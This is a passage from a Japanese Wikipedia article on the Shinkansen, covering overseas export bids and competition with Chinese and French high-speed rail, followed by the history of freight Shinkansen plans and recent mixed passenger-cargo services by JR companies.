なおJR各社では、JR東日本が受注に積極的なのに対し、[[台湾]]への技術供与を行ったJR東海会長の[[葛西敬之]]は、法整備が不十分な中国においてトラブルが発生した場合の責任問題や、中華人民共和国側の車両購入条件である「中華人民共和国へのブラックボックスのない完全な技術供与」では技術流出の危惧から反対の意見を表明している。また、2010年4月に葛西が「中国の高速鉄道は安全性を軽視することで、限界まで速度を出している。技術も『外国企業から[[盗用]]』」と主張したことに対し、中国の何総工程師は「我々が求めている技術は、日本のような[[島国]]向けの技術とは異なる」と主張し、「安全性が保証されている中国の高速鉄道技術は既に世界をリードする地位を獲得した」などと反論した<ref>{{Cite web|和書|url=https://web.archive.org/web/20100727215255/http://news.searchina.ne.jp/disp.cgi?y=2010&d=0413&f=it_0413_005.shtml|title=JR東海会長「高速鉄道は技術盗用、安全軽視」に中国高官反論|publisher=サーチナ|date=2010-04-13|accessdate=2011-01-09}}</ref>。
しかし、[[中華人民共和国鉄道部|中国鉄道部]]科学技術局長などを務めた[[周翊民]]は、中国紙『21世紀経済報道』に対し「世界一にこだわり、設計上の安全速度を無視し、日独が試験走行で達成していた速度に近い速度での営業を命じただけで、中国独自の技術によるものではない」と暴露し、「自分の技術でないので問題が起きても解決できない。結果の甚大さは想像もできない」と指摘した<ref>{{Cite news|url=http://www.asahi.com/international/update/0622/TKY201106220522.html|title=中国高速鉄道「独自技術でない」 元幹部、中国紙に暴露|publisher=朝日新聞|date=2011-06-22|accessdate=2011-01-09|archiveurl=https://web.archive.org/web/20110623190841/http://www.asahi.com/international/update/0622/TKY201106220522.html|archivedate=2011年6月23日|deadlinkdate=2017年10月}}</ref>。また[[アメリカ合衆国|アメリカ]]議会の超党派諮問機関である「米中経済安保調査委員会」は2011年10月26日、日本の新幹線技術の中国側の取得について「中国企業が外国技術を盗用した最もひどい実例」と明記し、中国の政府や国家の意思によるものだと結論付けた<ref>{{Cite news|url=http://sankei.jp.msn.com/world/news/111028/amr11102801350000-n1.htm|title=中国、新幹線技術盗用は「国家の意思」 米機関が国有企業の分析報告|publisher=MSN産経ニュース|date=2011-10-28|accessdate=2011-11-04}}</ref>。なお、<!--周翊民の発言を裏付けるように、--><!--Wikipedia執筆者による評価のためコメントアウト。-->2011年7月23日に浙江省温州市で、死者43人・負傷者190人以上を出す[[2011年温州市鉄道衝突脱線事故|追突脱線事故]]が発生し、鉄道局長ら幹部3人が更迭されている<ref>「死者43人に負傷者は190人以上 鉄道局長ら幹部3人更迭」- MSN産経ニュース(2011年7月24日付)</ref>。
==== 輸出候補地 ====
* {{THA}}
** [[バンコク]] - [[チェンマイ]]間(670 km)を結ぶ[[タイ高速鉄道計画]]に新幹線を採用することを、日本・タイ政府間で[[2012年]]から検討してきたが、[[2015年]][[5月27日]]に新幹線方式導入を前提に調査を始める覚書を締結<ref>[https://www.sankei.com/article/20150528-7IWC3BU3G5M6TL3ME2UAOO2PXI/ 新幹線導入へ調査開始 タイと合意、670キロ、専用軌道建設] 産経新聞</ref><ref>[http://www.asahi.com/articles/ASH5W55D9H5WULFA01F.html タイ、新幹線採用で日本と合意 台湾に続く2例目] 朝日新聞</ref>。事業費は1兆円超を見込む<ref>[http://www.nikkan.co.jp/news/nkx1520150528abbe.html タイ高速鉄道・バンコク―チェンマイ間に新幹線導入-両政府で覚書、事業規模は1兆円] 日刊工業新聞</ref>。[[2020年]]にも開通する見通し<ref>[http://www.tv-tokyo.co.jp/mv/wbs/news/post_90708/ 日本の新幹線2020年タイに開通] テレビ東京</ref>。タイでは、中華人民共和国も一部路線を受注しており<ref>[http://www.yomiuri.co.jp/economy/20150522-OYT1T50017.html 日本とタイ、高速鉄道建設で協力覚書締結へ] 読売新聞</ref>、競争が激化している。
* {{VNM}}
** [[ハノイ]] - [[ホーチミン市|ホーチミン]]間 (1,630 km) を最高速度350 km/hで結ぶ[[ベトナム高速鉄道計画]]があり、完成すれば現在30時間以上かかっている所要時間が10時間弱に短縮されると期待されている。資金は日本の[[政府開発援助]]([[借款|円借款]])を充てる予定で、新幹線方式の導入が検討されていたが、2010年6月19日のベトナム国会でこれらの政府案は否決され、暗礁に乗り上げた格好となった。
* {{IND}}
** 2007年5月、[[インド国鉄]]は[[インド高速鉄道計画]]事前事業化調査のための説明会を開催し、[[日本]]や[[ヨーロッパ]]の車両メーカーも参加した。計画は[[アフマダーバード]] - [[ムンバイ]]間、[[アムリツァル]] - [[ニューデリー]] - [[ラクナウ]]間、[[パトナ]] - [[コルカタ]]間、[[チェンナイ]] - [[バンガロール]]間の4路線<ref>[[日経産業新聞]]2007年5月21日4面</ref>。このうち、ムンバイ - [[アーメダバード]]間(500 km)について、[[2017年]]着工、[[2023年]]開業予定。費用は9800億ルピー(147億米ドル)で、日本から最大で1兆4600億円の円借款で資金調達することが2015年12月の日印首脳会談にて合意された<ref>http://www.wsj.com/articles/indian-cabinet-agrees-to-pick-japan-for-high-speed-rail-project-1449744059</ref>。
* {{USA}}・[[カリフォルニア州]]
** [[ロサンゼルス]] - [[サンフランシスコ]]間などを結ぶ[[カリフォルニア高速鉄道]]の建設計画がある。州の予算や採算性の問題もあり建設時期は未定のままだが、具体的に進行し始めている。JR東海が積極的に新幹線を売り込んでいる。アメリカ西部は地震も多く、開業以来地震に対する対策を採ってきた新幹線はその点で各国の高速鉄道よりもアドバンテージがあるのでは、とする声もある。建設プロジェクトを紹介するインターネットのウェブサイトには、700系新幹線をイエローとブルーのツートンカラーにした車両の[[コンピュータグラフィックス|CG]]動画が公開されている。また、JR東日本も新幹線を売り込んでいる見込みである。
* {{BRA}}
** [[リオデジャネイロ]] - [[サンパウロ]] - [[カンピーナス]]間に[[ブラジル高速鉄道]]計画(路線距離550 km、最高速度320 km/h)がある。当初は2014年にブラジルで開催される[[2014 FIFAワールドカップ|ワールドカップ]]に合わせて開通させたい意向で、日本は国土交通省と[[三井物産]]、[[三菱重工業]]、[[川崎重工業]]、[[東芝]]が官民共同で売り込んでいたが<ref>[https://web.archive.org/web/20090620070725/http://www.nikkei.co.jp/news/sangyo/20090617AT1D1702A17062009.html 【ブラジルに新幹線売り込み】日本勢、高速鉄道建設で各国と競合](インターネットアーカイブ) 日経ネット、2009年6月17日</ref><ref>[https://web.archive.org/web/20091003012231/http://www.47news.jp/CN/200808/CN2008081201000767.html 【ブラジルに新幹線進出狙う】三井物産、建設に応札へ] 共同通信、2009年6月12日</ref>、提示条件の厳しさなどから入札の不調や延期を繰り返している。リオデジャネイロ - カンピーナス間は標高差が700メートル近くあり、長野新幹線の高崎駅 - 軽井沢駅間などの大きい標高差における建設、運行のノウハウを蓄積している新幹線は、その点で各国の高速鉄道よりも優位ではないかと評価する声もある。
* {{RUS}}
** [[モスクワ]] - [[サンクトペテルブルク]]高速鉄道運行プロジェクト(路線距離645 km、最高速度350 km/h)が進行中であり、同プロジェクト一行が日本企業と接触している。2009年12月からは同区間の在来線にICE3ベースの新型車両が導入され、最高速度250 km/hで運転される予定。さらにモスクワ - [[ニジニ・ノヴゴロド]]間、[[エカテリンブルク]] - [[チェリャビンスク]]間などにも高速新線の建設が計画されている。モスクワ - [[ウラジオストク|ウラジオストック]]間を結んでいる路線距離世界一 (9,288 km) の[[シベリア鉄道]]についても、一部高速新線(最高速度350 km/h)の建設を含む近代化計画がある。
* {{IDN}}
** インドネシアでは経済開発を加速する目的で、2008年に「経済開発加速化・拡充マスタープラン2010 - 2025(MP3EI)」を策定<ref name="shinkansen50">新幹線50年史 p.664</ref>。このプランの一部として、[[ジャカルタ]]から西部に約700 kmにある[[スラバヤ]]までの[[ジャワ島]]東西を結ぶ路線と南東に約150 kmある[[バンドン (インドネシア)|バンドン]]までの[[インドネシア高速鉄道計画]]がある<ref name="shinkansen50" />。2011年には「国家鉄道整備総合計画」が策定され、ジャカルタ - スラバヤ間の高速鉄道が位置付けられている<ref name="shinkansen50" />。2030年をめどに開業を目指すとしている<ref name="shinkansen50" />。<br />日本はインドネシアのインフラ整備として、[[高速道路]]や[[発電所]]建設とともに、新幹線を売り込んでいる。しかし、インドネシアは高速道路や発電所と比べると[[高速鉄道]]は優先度が低いとして、新幹線の導入については慎重な姿勢である<ref>{{cite news |title=インドネシア大統領:新幹線は優先度低い インフラ整備で|newspaper=[[毎日新聞]] |date=2015-3-22 |url=http://mainichi.jp/select/news/20150322k0000m030133000c.html |accessdate=2015-3-22 |author=平野光芳}}</ref>。[[2015年]][[9月3日]]、インドネシア政府は高速鉄道計画の撤回を発表して入札を白紙化したが、[[9月29日]]に財政負担を伴わない中華人民共和国国案の採用を決定した<ref>{{cite news|date= 29 September 2015 |title=Indonesia to award fast train contract to China - Japanese embassy official|newspaper=Reuters |url=http://www.reuters.com/article/2015/09/29/indonesia-railway-idUSL3N11Z3HQ20150929 |accessdate=1 October 2015}}</ref><ref name="ABC">{{cite news|title=Indonesia awards multi-billion-dollar railway project to China over Japan |date=30 September 2015 |newspaper= ABC |url=http://www.abc.net.au/news/2015-09-30/indonesia-awards-major-rail-contract-to-china/6818082 |accessdate=1 October 2015}}</ref>。2023年10月開業予定<ref>{{cite news|title=中国受注インドネシア高速鉄道が完成間近に 無料試験運行開始| date=18 September 2023 |newspaper=NHK|url= https://www3.nhk.or.jp/news/html/20230918/amp/k10014199201000.html |accessdate= 23 September 2023}}</ref>
* {{MYS}}
** [[ナジブ・ラザク]]首相は、[[2015年]][[5月25日]]、[[日本経済新聞]]の取材に対して、「日本の新幹線は安全性や信頼性などで競争力が高い」として、候補の一つであることを明らかにしている<ref>[http://www.nikkei.com/article/DGXLASGM25H4F_V20C15A5MM8000/ マレーシア首相、高速鉄道「新幹線も候補」] 日本経済新聞</ref>。
==== その他 ====
===== アメリカ合衆国・北東回廊 =====
アメリカ合衆国の北東部には、[[ワシントンD.C.]]、[[フィラデルフィア]]、[[ニューヨーク市|ニューヨークシティ]]、[[ボストン]]など名だたる大都市が連なり、'''メガロポリス'''と呼ばれる。それらの都市は1800年代に建設された'''[[北東回廊]]'''と呼ばれる幹線鉄道が結んでおり、その特性から同国で最も利用者の多い幹線鉄道路線となっている。この北東回廊のうち、ワシントンD.C.と[[ニューヘイヴン]]間は1900年代前半に電化が完了、電気動力による高速運転が実現しており、1960年代後半には東海道新幹線の成功に影響された電車高速列車[[メトロライナー (列車)|メトロライナー]]が登場。しかし、度重なる運営事業者の経営不振と再編により軌道保守へ十分な投資ができず、せっかくの高速列車の乗り心地を悪くさせ、速度を制限させる原因となっていた。その状況を打破すべく、1971年に民営企業より列車運行および線路保有権を引き継いだ[[全米旅客鉄道公社]] (Amtrak) は北東回廊の軌道を強化させ、同時にメトロライナー電車よりも高速な列車の導入を決定。この一連の流れで、新幹線の成功を経験していた日本はこの計画に参加することとなり、軌道強化計画のほか、新幹線0系を基礎としつつもアメリカ合衆国の基準に適応させた専用車両の設計を行った。
この時期、二度にわたる石油危機などの影響で、折しも鉄道利用者が増加していたという背景も追い風となり、北東回廊の更新計画は'''北東回廊改良計画'''として1980年代に実を結んだ。しかし、最も重要な課題であった軌道強化には日本の技術が大いに活かされたものの、初の新幹線仕様車両の国外輸出として期待されていた専用車両の導入が実現することはなかった。
===== アメリカ合衆国・オハイオ州 =====
1970年代後半のアメリカ合衆国。同国の[[アメリカ合衆国中西部|中西部]]に位置する[[オハイオ州]]では、州内の各都市を高速で結ぶ新たな鉄道を建設する話が盛り上がった。この当時、ほかに例を見ない高速鉄道として有名であった日本の新幹線はこの計画の恰好のモデルとなり、日本国鉄およびその関連機関はこの計画に対して様々な支援を行ったが、実現していない。
===== 大韓民国 =====
[[大韓民国]]の高速鉄道・"[[韓国高速鉄道|KTX]]"計画において、日本は新幹線方式(車両は300系電車を基礎としたもの)で入札に参加した。しかし、「反日感情」などの政治的な理由により、最終的にフランスのTGV方式の導入となった。
===== スペイン =====
[[三菱グループ]]を筆頭とした日本連合が[[スペイン]]の高速鉄道、[[AVE]]の第一期区間([[マドリード-セビリア高速線|マドリード=セビージャ高速線]])で運行される車両の入札に参加し、日本の新幹線[[新幹線100系電車|100系]]を基礎とした車両を提案<ref name="MitsuAVE">[https://elpais.com/diario/1988/07/07/economia/584229616_850215.html ''Mitsubishi, favorita para el tren de alta velocidad de Renfe''] - EL PAÍS - 1988年7月7日作成・2020年10月24日閲覧</ref><ref name="Zaragoza" />。ヨーロッパ各国の名だたるメーカーとの競争に勝ち、フランスのTGV、ドイツのICEとともに最終選考に進み、その中でも価格・経験の面でもっとも高い評価を得たが、スペインの[[欧州諸共同体]](EC)への加盟などが影響し、フランスのTGVに敗れる結果となった<ref name="MitsuAVE" /><ref name="Zaragoza">[https://zaguan.unizar.es/record/15902/files/?docname=TAZ-PFC-2014-362&version=all&ln=fr ''Proyecto Fin de Carrera - Estudio crítico sobre las líneas de alta velocidad en España.''] - Enrique Palacio Gavín - 2014年9月作成・2021年6月10日閲覧</ref>。
===== イラン =====
1970年代、[[イラン]]政府は日本政府に対し、同国の首都[[テヘラン]]と同国第二の規模を誇る[[マシュハド]]の間に新幹線の建設を行うように要請。実際に路線経路の計画や車両設計の準備などが行われたものの、1979年の[[イラン革命|革命]]で新幹線を要求していた政府が打倒されたことにより、計画ごと消滅した。
==== 他国との競合点 ====
* [[2009年]]現在、世界における高速鉄道の技術入札においては、事実上、日本の新幹線技術とフランスの[[TGV]]技術の二大勢力が競合している<ref name="NHK-kaigai-network">NHK「海外ネットワーク」(特集 世界に売り込め新幹線 激しい競争)2009年8月16日放映</ref>。
* 世界的に見ると、高速鉄道を必要とする国には、日本のように地理的条件や騒音対策・輸送量の面で過酷な条件に置かれている例はさほど多くはないため、新幹線方式よりもコスト面でより有利な、[[TGV]]に代表される{{要出典範囲|date=2015年10月23日 (金) 09:57 (UTC)|半動力集中式}}を採用する場合が多い。
* 競合点のひとつである輸送量については、新幹線は同じ標準軌のTGVなどより車両の幅が広く高頻度運行が可能であるため、単位時間あたりの最大輸送量も大きい。
* アメリカにおける高速鉄道入札でのプレゼンテーションにおいては、日本側は安全性その他の優位性を主張しつつ、線路・システムなどとの一括での契約を要求したのに対し、フランスのTGVは車体のみでの契約も可能とするなどより柔軟な交渉をしている<ref name="NHK-kaigai-network"/>。
== 貨物輸送 ==
[[ファイル:Koutuuhakubutukan-mokei PICT1859-2.JPG|thumb|right|交通博物館で展示されていた東海道新幹線貨物列車(電車)の模型]]
[[ファイル:Sinkansen-ikou PICT0005.JPG|thumb|right|新幹線大阪運転所(鳥飼基地)の京都側にある本線をまたぐ構築物と合流跡]]
新幹線による貨物輸送は、最高速度や制動距離などの違いから[[ダイヤグラム]]上で[[旅客列車]]と混在させることは現状では困難である。[[貨客混載]]での実証実験では積み替えの手間や輸送コストなどの問題が指摘されている<ref name=":6">{{Cite web|和書|title=「2024年問題」の切り札に?新幹線で輸送するのは… {{!}} NHK {{!}} ビジネス特集 |url=https://www3.nhk.or.jp/news/html/20230706/k10014119231000.html |website=NHKニュース |date=2023-07-06 |access-date=2023-07-12 |publisher=日本放送協会}}</ref>。なお、約40年の時を経て同様のコンセプトを持つ列車が在来線で[[JR貨物M250系電車]](スーパーレールカーゴ)として登場した<ref>{{Cite press release|和書|url=http://www.jrfreight.co.jp/common/pdf/news/200410-03.pdf|title=平成16年度「鉄道の日」国土交通大臣表彰について|format=PDF|publisher=[[日本貨物鉄道]]|date=2004-10-13|accessdate=2014-10-05|archiveurl=|archivedate=}}</ref>。
=== 東海道新幹線建設時における「貨物新幹線」計画 ===
「貨物新幹線」は、東海道新幹線の建設時から東京-大阪間を5時間半で結ぶ夜行貨物列車の運行構想があった<ref>{{PDFlink|[http://www.osaka-sandai.ac.jp/ce/rt/19xx/05/05JSCE-SNKCARGO.pdf 新幹線利用高速貨物輸送の可能性について]}} - [[大阪産業大学]] 波床正敏・田村信弥</ref><ref group="注">現在九州新幹線に使用されている800番台の形式番号は、元々は貨物用新幹線車両の形式に予定されていたものである。</ref><ref>[https://trafficnews.jp/post/55996/ 「幻の貨物新幹線」半世紀残った遺構、来年にも見納めに 東京〜大阪5時間半] - 乗りものニュース、2016年8月14日</ref>。[[1958年]](昭和33年)に国鉄幹線調査会が答申し、国鉄の新幹線総局計画審議室などが検討をおこなった<ref name="tokyo20130729">{{Cite news |title=幻の貨物新幹線 本気だった |newspaper=[[東京新聞]] |date=2013-07-29 |page=1 |language=ja |url=http://www.tokyo-np.co.jp/s/article/2013072990070009.html |accessdate=2013-07-29 |deadlinkdate=2022-11-16 |archivedate=2013-08-01 |archiveurl=https://web.archive.org/web/20130801092524/https://www.tokyo-np.co.jp/s/article/2013072990070009.html}}</ref>。
計画を担当していた[[石井幸孝]]によると、国鉄では5トンコンテナの規格を新幹線の車両限界に合わせたサイズ(8×8×12フィート)とし<ref name="tokyo20130729"/>、貨物取扱駅の用地買収を進め工事も開始したが、東海道新幹線の建設費が[[インフレーション|インフレ]]の影響で当初の計画より二倍近くに膨れ上がったため計画を断念した<ref name="tokyo20130729"/>。その後、貨物新幹線用地は[[東京貨物ターミナル駅]]や車両基地などに転用された。[[大阪貨物ターミナル駅]]の近くには未完成の高架施設が残っていたが<ref name="tokyo20130729"/>、2013年から順次撤去工事が進められている<ref>{{Cite news|url=http://sankei.jp.msn.com/west/west_life/news/140120/wlf14012011180008-n1.htm|title=半世紀残った“謎の高架橋” ひっそりと消える「幻の貨物新幹線」の残骸 大阪・摂津|newspaper=[[MSN産経ニュース]]|date=2014-01-20|accessdate=2014-01-20}}</ref>。
東海道新幹線建設時の計画については、[[世界銀行]]から新幹線建設の資金を調達する際、貨物が鉄道輸送の主力となっていた[[アメリカ合衆国|アメリカ]]の理解を得るためのダミー構想であったとの見方があるが、石井はこれを否定している<ref name="tokyo20130729"/>。また、国鉄在籍時に東海道新幹線建設に従事した長尚は、高橋団吉著『新幹線を走らせた男 国鉄総裁十河信二物語』の「じつは、貨物新幹線を走らせる気は、最初からなかったのである。」という記述に対して「東海道新幹線の計画から開業後の暫くまで、国鉄の責任者・関係者は貨物輸送を真剣に考えていたことは、次のような幾つかの事実から間違いない」としている<ref>[http://www.avis.ne.jp/~cho/tsks.html 【高橋団吉著「新幹線を走らせた男 国鉄総裁十河信二物語」について] - 長 尚のホームページ 2016年3月24日</ref>。
* 東海道新幹線の建設基準にある[[活荷重]](列車荷重)は、N標準活荷重(貨物列車荷重)とP標準活荷重(旅客列車荷重)とからなっていて、平成14年(2002年)に改正されるまで、この基準は生きていた。
* 貨物駅のための用地買収が各地でなされていた。
* 貨物列車を引き込むための本線を跨ぐ施設が造られていた。しかも大阪鳥飼の車両基地への貨物引き込み用の構造物は世銀からの借款の調印の昭和36年5月2日から一年後に着工している。もし世銀から融資を受けるためであるならば、予算膨張に悩んでいたので、前項の用地買収など無駄なことはしなかったはずである。
* 東海道新幹線開業後の昭和40年3月15日の国会の法務委員会で、国鉄常務理事が「国鉄といたしましては、新幹線を利用いたしまして高速の貨物輸送を行なうということが、国鉄の営業上どうしても必要なことでございまして、またその需要につきましても十分の採算を持っておりますので、なるべく早く新幹線による貨物輸送を行ないたい、こういうふうに考えて計画を進めております」と答弁している。
JTBキャンブックス『幻の国鉄車両』 pp. 46 – 52 には、コンテナ電車他各種車両のメトリクスや編成図が掲載されている。
石井は将来的には人口減少により旅客輸送の需要が減りダイヤに余裕が出来るため、最高速度を200km/h程度に抑えた夜行貨物列車が可能となると主張し、新型の導入で余剰となった旧型車両を改造して[[ヤマト運輸]]の[[パレット (輸送)|ロールボックスパレット]]を搭載出来るようにした図面を公開している<ref>人口減少と鉄道 [[石井幸孝]]著 [[朝日新書]] ISBN 978-4022737601 新幹線物流で日本列島が蘇る p104</ref>。
=== 山陽新幹線における検討 ===
山陽新幹線建設の際に「路線の[[有効長]]は、将来の貨物運行を考慮して500mとしている。」<ref>『[[新幹線十年史]]』p.313</ref>また、[[仁杉巌]]は「いずれ新幹線による貨物輸送をもとめる声も高くなってくるだろうと思いますが、そのときは、おそらく新幹線が関西よりももっとさきへのびたときではないかと考えられます。つまり、現在建設中の山陽新幹線が下関までのびたときとか、博多までのびたときとかです。」<ref>仁杉巌・[[石川光男]]共著『世界一の新幹線』鹿島研究所出版会、1968年、p.157</ref>と記している。なお、泉幸夫貨物局長は、博多開業前に「東海道新幹線を作りましたときに、将来は貨物もコンテナ輸送をやるという前提がありました。昭和34年に登場した5トンコンテナも、今縦積みにすれば、新幹線で使えるようにできているわけです。しかし、その後、100キロ貨車が開発され、東京 - 大阪間は、8時間で走るようになりましたから新幹線の貨物輸送は将来博多まで延びたときに、検討するという感じだったのです。その博多開業時期も大体きまってきたわけですが、貨物局を中心に勉強しまして、100キロ程度を出せるコキ車を使うと、博多から東京までといっても、そう時間に大きな差があるわけでもないことと、新幹線で5トンコンテナを運んでみたところでフリークェンシーに富んだ輸送は必ずしも期待できないこと等から、現時点では新幹線による貨物輸送は原則として考えていないのです。」<ref>「新幹線鉄道時代を迎えて - 21世紀の鉄道を目指して -」「国鉄線」昭和47年3月号</ref>と述べている。
=== 東北・上越新幹線における検討 ===
東北・上越新幹線建設の際にも貨物輸送の可能性が検討されたが、迅速性を優先されるという物資の輸送では[[航空貨物]]との競合が避けられずしかも貨物シェア自体が小さいこともあって、基本規格は東海道・山陽新幹線に準じることとして将来の可能性を残す形で見送られた<ref group="注">雪害対策等で軸重が増加したことから、貨物輸送の有無での建設費用の差を考慮する程ではなくなったこともある。</ref><ref>「東北・上越両新幹線について」大塚滋 『鉄道ファン』No.132 (1972年4月号)</ref>。
=== レールゴーサービスの拡大案 ===
1981年から、東海道新幹線で「[[チッキ|レールゴーサービス]]」という小荷物などの運送がおこなわれていた。1982年には郵政省からの提案で、1985年頃には国鉄内から、これを拡大した郵便・貨物輸送が計画され、車両の設計図面まで存在していたが、いずれも実現しなかった<ref>JTBキャンブックス『幻の国鉄車両』 pp. 53</ref>。
=== 北海道新幹線における検討 ===
[[2005年]](平成17年)から建設が始まった北海道新幹線は、[[青函トンネル]]とその前後の区間を在来線の[[貨物列車]]と共用するため、同区間では片道あたり新幹線・貨物それぞれ2本/時しか走らせることができないと予想されている。[[北海道旅客鉄道|JR北海道]]ではこのボトルネックを緩和する方法の一つとして、在来線の貨車をそのまま搭載する専用列車([[トレイン・オン・トレイン]])の研究を行っていた<ref>[https://web.archive.org/web/20200714031307/http://rail.hobidas.com/blog/natori/archives/2010/02/post_1209.html トレイン・オン・トレイン始動。(上)] - [[ネコ・パブリッシング]]『鉄道ホビダス』 編集長敬白 2010年2月26日。(インターネットアーカイブ)</ref><ref>[https://web.archive.org/web/20200714031307/http://rail.hobidas.com/blog/natori/archives/2010/02/post_1210.html トレイン・オン・トレイン始動。(下)] - ネコ・パブリッシング『鉄道ホビダス』 編集長敬白 2010年2月27日。(インターネットアーカイブ)</ref>が重量の問題から、E5系やH5系をベースにした貨物専用の新幹線車両の開発を検討している<ref>{{Cite news|title=青函に時速200キロ「貨物新幹線」検討 新幹線は東京へ最速3時間台 |newspaper=北海道新聞 |date=2016-01-01 |language=ja |url=http://dd.hokkaido-np.co.jp/news/economy/economy/1-0218692.html |deadlinkdate=2022-11-16 |archivedate=2026-01-01 |archiveurl=https://web.archive.org/web/20151231235028/http://dd.hokkaido-np.co.jp/news/economy/economy/1-0218692.html}}</ref>。
=== JR旅客各社による貨客混載の事業化 ===
{{See also|貨客混載}}
2020年以降、[[新型コロナウイルス感染症 (2019年)|新型コロナウイルス感染症]]の[[日本における2019年コロナウイルス感染症による社会・経済的影響|社会・経済的影響]]で、新幹線の利用が大幅に減少し減収が続いているため、JR旅客各社では新幹線による荷物輸送の事業化に乗り出している<ref name=":2">{{Cite web|和書|author=森創一郎 |date=2021-08-03 |title=廃線危機で浮上、「貨物新幹線構想」への熱視線 |website=東洋経済オンライン |language=ja |url=https://toyokeizai.net/articles/-/574892 |accessdate=2022-11-16}}</ref><ref>{{Cite news|title=JR西日本、福山通運と貨物輸送 新幹線活用 |newspaper=日本経済新聞 |date=2021-07-07 |language=ja |url=https://www.nikkei.com/article/DGXZQOUF067A80W1A700C2000000/ |accessdate=2021-08-03}}</ref>。これらは台車に乗せた荷物を使われていない座席と座席の間に置くなど、既存の客車をそのまま利用しているため大型の貨物には対応できず<ref name=":2" />、常温輸送となるため梱包に手間がかかり、青森から大宮までホタテを輸送した例ではトラックの4 - 5倍のコストがかかるなど不利な点も多い<ref name=":6" />。しかし高速ながら事故率の低さと定時性の高さがあるため、水産物や電子部品など特性にあった小荷物の高速輸送に使われている<ref name=":5">{{Cite web|和書|title=ズワイガニを新幹線輸送、JR西 即日販売、広がる貨客混載:東京新聞 TOKYO Web |url=https://www.tokyo-np.co.jp/article/214974 |website=東京新聞 TOKYO Web |access-date=2022-12-04 |language=ja}}</ref><ref name=":6" />。
JR東日本は、2017年から不定期で地域の特産品などを新幹線で運び[[駅ナカ]]の[[見本市]]などで販売する取り組みを行ってきた<ref name=":0" />。2018年には、[[日本郵便]]と共同で、宮城県で収穫された農産物を東北新幹線で[[東京駅]]まで輸送して、東京駅でのイベントで販売したり<ref>[https://www.jreast.co.jp/press/2018/20181102.pdf 日本郵便とJR東日本との連携協定に基づく物流トライアルの実施] - 東日本旅客鉄道・日本郵便、2018年11月5日</ref>、2019年には、新潟県で水揚げされた海産物を上越新幹線で輸送し、[[品川駅]]の鮮魚店で販売したりする<ref>[https://business.nikkei.com/atcl/gen/19/00002/061100438/ 「獲れたて鮮魚を東京へ、新幹線物流に挑むJR東グループ」] [[日経ビジネス]]電子版、2019年6月12日</ref>試みや、2020年には、[[弘前市]]で収穫された[[トウモロコシ]]を朝に[[新青森駅]]で積み込み、当日に東京駅で販売するなど小口の高速輸送の手段<ref group="注">かつて農作物を消費地へ迅速に輸送する手段として、[[農道離着陸場]]を利用した小口の航空輸送事業が行われたが採算が合わずに終了している。</ref>として検証が行われている<ref>[https://www.nikkei.com/article/DGXMZO62814750Z10C20A8L01000/ 東京駅で「嶽きみ」限定販売 新幹線で21日試験輸送] - [[日本経済新聞]]、2020年8月19日</ref><ref>[https://www.kahoku.co.jp/tohokunews/202008/20200822_22021.html 弘前特産トウモロコシ、朝取れ「嶽きみ」東京へ 新幹線で輸送、限定販売] - [[河北新報]]、2020年8月22日</ref>。2020年10月からは仙台駅 - 東京駅間の輸送を定期化した<ref name=":0">{{Cite web|和書|title=JR旅客が荷物輸送の事業化に本腰|url=http://cargo-news.co.jp/cargo-news-main/2794|website=物流の専門紙 カーゴニュース|accessdate=2021-01-29|language=ja}}</ref>。現在では駅ホームで積み込みが行われているが、作業スペースが狭く時間の制限もあるため、[[車両基地]]へ貨物を搬入し積み込みを行うなど効率化の試みもなされている<ref name=":6" />。
JR西日本も、JR東日本と連携して、北陸エリアの特産品などを北陸新幹線で首都圏に輸送する事業を拡大することを表明した<ref name=":0" />。JR西日本は、JR九州とも連携して、山陽・九州新幹線を活用して九州の特産品などを関西へ輸送する実証実験を2021年2月から開始する<ref name=":0" />。[[新大阪駅]]で荷物を降ろした後、在来線に積み替えて大阪や京都に輸送する貨物輸送の事業化を目指と発表した<ref name=":0" />。2022年11月4日には客車による即日配送を行う特産品ブランドを「FRESH WEST」と命名し<ref>{{Cite web|和書|title=旅客列車で輸送した地産品のブランド「FRESH WEST」誕生! 第一弾は、「活け松葉ガニ」「朝〆お嬢サバ」を即日輸送し販売します:JR西日本 |url=https://www.westjr.co.jp/press/article/2022/11/page_21244.html |website=www.westjr.co.jp |access-date=2022-12-04 |language=ja}}</ref>、19日から朝に鳥取県の[[境港市]]で水揚げされたズワイガニなどを[[米子駅]]から特急に乗せ、途中で新幹線に積み替えて新大阪駅へ輸送し駅ナカで販売する事業を開始した<ref name=":5" />。
JR北海道とJR九州も、それぞれ[[佐川急便]]と提携して宅配荷物を新幹線で輸送する事業を構想している<ref name=":0" />。JR北海道では、北海道・本州間(新函館北斗駅 - 新青森駅)で客室内に宅配荷物を収納した専用ボックスを積載して輸送する方式で、早ければ2020年度内にも正式に事業化する予定<ref name=":0" />。JR九州も、九州新幹線の博多駅 - 鹿児島中央駅間の上下で車内の余剰スペースに佐川急便の宅配便荷物を収納した専用ボックスを積載して輸送する貨客混載事業を2021年5月18日から開始し<ref>{{Cite press release|和書|title=九州新幹線を使用した貨客混載事業を開始します|publisher=九州旅客鉄道/佐川急便|date=2021-05-10|url=https://www.jrkyushu.co.jp/news/__icsFiles/afieldfile/2021/05/10/210510_sagawa_jrkyushu.pdf|format=PDF|accessdate=2021-08-04}}</ref>、また旧[[車内販売|車販]]準備室を使用する荷物輸送サービス「はやっ!便」を同日に開始した<ref>{{Cite press release|和書|title=九州新幹線荷物輸送サービス「はやっ!便」スタートします!|publisher=九州旅客鉄道|date=2021-05-10|url=https://www.jrkyushu.co.jp/news/__icsFiles/afieldfile/2021/05/10/210510_train_nimotsu_1.pdf|format=PDF|accessdate=2021-08-04}}</ref>。
=== 国、JR貨物とJR旅客各社による貨物新幹線の検討 ===
2021年1月8日、[[日本貨物鉄道]](JR貨物)は、現在進行中の「JR貨物グループ中期経営計画2023」に続く長期計画として「JR貨物グループ長期ビジョン2030」を発表した<ref name=":1">{{Cite web|和書|title=JR貨物、30年度までのグループ長期ビジョン発表|url=http://cargo-news.co.jp/cargo-news-main/2757|website=物流の専門紙 カーゴニュース|accessdate=2021-01-29|language=ja}}</ref><ref name=":0" />。JR旅客各社と連携して「貨物新幹線」の検討を進め、期間中に実現したい考えを示した<ref name=":1" /><ref name=":0" />。「物流イノベーションや既存鉄道インフラの有効活用(人流・物流の一体化による鉄道事業の持続性向上)として貨物新幹線の検討を推進」という文言で、貨物新幹線の事業化に言及している<ref>{{Cite web|和書|url=https://www.jrfreight.co.jp/assets/files/1906about_csr_plan/vision_2030.pdf|title=JR貨物グループ 長期ビジョン2030|accessdate=2021-01-30|publisher=JR貨物}}</ref>。
